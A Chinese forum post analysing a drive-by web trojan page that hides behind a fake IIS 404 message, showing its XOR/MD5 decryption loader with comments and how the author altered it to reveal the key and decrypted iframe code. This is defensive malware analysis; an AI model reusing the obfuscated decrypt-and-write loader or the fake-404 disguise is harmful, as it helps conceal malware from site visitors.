就昨天晚上发现木马做了一个简单的分析，木马路径是：http://www.****.com/ma/web.htm
想办法获取其源码，最好不要用IE浏览器，我是用firefox浏览的，但是看到的是一个404的页码：
如下：
引用:
法找到该页
您正在搜索的页面可能已经删除、更名或暂时不可用。
请尝试以下操作：
* 确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。
* 如果通过单击链接而到达了该网页，请与网站管理员联系，通知他们该链接的格式不正确。
* 单击后退按钮尝试另一个链接。
HTTP 错误 404 - 文件或目录未找到。
Internet 信息服务 (IIS)
技术信息(为技术支持人员提供)
* 转到 Microsoft 产品支持服务并搜索包括“HTTP”和“404”的标题。
* 打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问)，然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。
不要被骗了，查看下其源码：

是不是比较晕啊，这么多代码，一个一个来分析下：
其中strHTML量是被加密后的代码字符串.
函数：function XOR(strV,strPass)是用来解密的，还设置了一个密码，嘿嘿，感觉挺搞笑的，js端设置密码！
主要看下最后一个函数了，我加入了一些注释：
复制内容到剪贴板代码:
function performPage(strPass){
if(strPass){
document.cookie=\"password=\"+escape(strPass);//将代码用escape加密后写入cookie中，判断是否已经执行过
document.write(XOR(unescape(strHTML),STR.md5(strPass)));//将上面的strHTML解密后执行
return(false);
}//判断strPass是否存在，存在则执行下面两语句。
var pass=\"%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26\";//密码了
if(pass){
pass=unescape(pass);//将代码用unescape函数解密，等会我们就会看到了，稍等。
document.write(XOR(unescape(strHTML),STR.md5(pass)));//将上面的strHTML用XOR函数解密后执行。
return(false);
}
}
最好就是执行函数performPage()了。
下面我们看看其源码里都是什么东西：
将vip1.htm另存为本地。
先看看其密码是什么来：
将函数performPage修改为如下，然后浏览器浏览vip1.htm：
复制内容到剪贴板代码:
function performPage(strPass){
if(strPass){
//document.cookie=\"password=\"+escape(strPass);
//document.write(XOR(unescape(strHTML),STR.md5(strPass)));
return(false);
}
var pass=\"%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26\";
if(pass){
pass=unescape(pass);
//document.write(XOR(unescape(strHTML),STR.md5(pass)));
document.write(pass);
return(false);
}
}
performPage();
</script>
浏览器显示：

密匙可以是中文，或任意字符
汗一个。下面看他木马代码怎么写的：
修改函数performPage以下部分如下：
复制内容到剪贴板代码:
function performPage(strPass){
if(strPass){
//document.cookie=\"password=\"+escape(strPass);
//document.write(XOR(unescape(strHTML),STR.md5(strPass)));
return(false);
}
var pass=\"%u5BC6%u5319%u53EF%u4EE5%u662F%u4E2D%u6587%uFF0C%u6216%u4EFB%u610F%u5B57%u7B26\";
if(pass){
pass=unescape(pass);
//document.write(XOR(unescape(strHTML),STR.md5(pass)));
//document.write(pass);
document.getElementById( \"muma\" ).value = XOR(unescape(strHTML),STR.md5(pass));
return(false);
}
}
//performPage();
</script>
<textarea id=\"muma\" name=\"muma\" rows=\"10\" cols=\"50\"></textarea>
<script language=javascript>performPage();</script>
浏览下vip1.htm看看，strHTML的原始代码就出来了：
复制内容到剪贴板代码:

<noscript>
<iframe src=*></iframe>

木马exe文件地址也出来了，剩下来的朋友们就可以拿到样本来分析了! |
